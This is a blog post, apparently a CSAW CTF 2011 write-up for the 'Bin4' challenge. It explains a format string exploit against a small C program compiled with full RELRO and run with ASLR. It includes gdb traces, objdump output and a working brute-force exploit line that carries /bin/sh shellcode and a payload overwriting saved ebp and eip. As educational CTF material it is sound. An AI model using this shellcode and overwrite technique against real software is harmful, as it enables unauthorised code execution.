Tuesday, September 27, 2011

CSAW CTF 2011 - Exploitation Bin4 Writeup

After reading repnzscasb's Bin4 write-up. I have to say to myself "why I missed overwriting the pointer to function?". Here is my solution (not a smart method to solve this challenge).

The challenge code is same as bin3 but bin4 is compiled with full RELRO. Also the ASLR is enabled. Here is a short C code.

int s(char *op, char *lhs, char *rhs){
  static int(*opfunc)(int, int);
  int(*matfunc[4])(int, int) = {&add, &sub, &mul, &divi};
  char opmsg[512];

  op++;
  //...
 
  snprintf(opmsg, sizeof(opmsg), op);
  printf("%s\n", opmsg);
  fflush(0);
  return opfunc(atoi(lhs), atoi(rhs));
}
 
int main(int argc, char **argv){
 
  if(argc < 4){ u(); }
 
  printf("Result: %d\n", s(argv[2], argv[1], argv[3]));
  exit(EXIT_SUCCESS);
}

Assume we see only format string bug (do not see opfunc, a pointer to function :P). My idea is using saved ebp in s() stack frame, that points to saved ebp in main() stack frame, with format string bug to modify 1 byte of saved ebp in main() stack frame to the address of saved eip in s() stack frame. Confused??? Look below.

(gdb) b *0x0804867e     # break at call snprintf
Breakpoint 1 at 0x804867e
(gdb) r 1 -%144\$hhn 2
Starting program: /home/worawit/csaw/bin4 1 -%144\$hhn 2
Operation:
Breakpoint 1, 0x0804867e in s ()
(gdb) x/12x $ebp
0xbffff648:     0xbffff668      0x08048721      0xbffff868      0xbffff866
0xbffff658:     0xbffff872      0x0029bff4      0x08048750      0x00000000
0xbffff668:     0xbffff6e8      0x00155e37      0x00000004      0xbffff714
(gdb) ni
0x08048683 in s ()
(gdb) x/12x $ebp
0xbffff648:     0xbffff668      0x08048721      0xbffff868      0xbffff866
0xbffff658:     0xbffff872      0x0029bff4      0x08048750      0x00000000
0xbffff668:     0xbffff600      0x00155e37      0x00000004      0xbffff714

Note:
- 0xbffff648 is address of saved ebp in s() stack frame
- 0xbffff64c is address of saved eip in s() stack frame
- 0xbffff668 is address of saved in main() stack frame

From gdb, we can see the saved ebp value in main() stack frame is changed. If we change it to address of saved eip in s() stack frame, 0xbffff64c. We can use it for format string bug to change the saved eip in s() stack frame. That's the idea.

This method does not work all the time because stack address is random. But the chance is not low. Only 4 bits are random. The last 4 bits are always the same because of stack alignment in main() function.

080486e5 <main>:
 80486e5:       55                      push   %ebp
 80486e6:       89 e5                   mov    %esp,%ebp
 80486e8:       83 e4 f0                and    $0xfffffff0,%esp

Because argv[1] is passed to s() function as 2nd argument , we just need to modified the saved eip to the pop/ret address. Find it near 0x08048721, so we have to modified only 1 byte.

worawit@nattyvm:~/csaw$ objdump -d ./bin4 | grep '^ 80487' | grep -B 1 ret
 8048743:       5d                      pop    %ebp
 8048744:       c3                      ret
--
 80487a8:       5d                      pop    %ebp
 80487a9:       c3                      ret
 80487aa:       8b 1c 24                mov    (%esp),%ebx
 80487ad:       c3                      ret
--
 80487d8:       5d                      pop    %ebp
 80487d9:       c3                      ret
--
 80487f6:       c9                      leave
 80487f7:       c3                      ret

I pick address 0x080487a8. The restriction of this method is "$" modifier must not be used in first "%n"

. Else the printf() function will not use modified value. Here is the exploit. Shell will pop out in a second.

worawit@nattyvm:~/csaw$ while [ 1 ]; do ./bin4 `perl -e 'print "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'` -`perl -e 'print "%8x"x142,"%220x%hhn","%8x"x6,"%44x%hhn"'` 10; done
...
$

No comments:

Post a Comment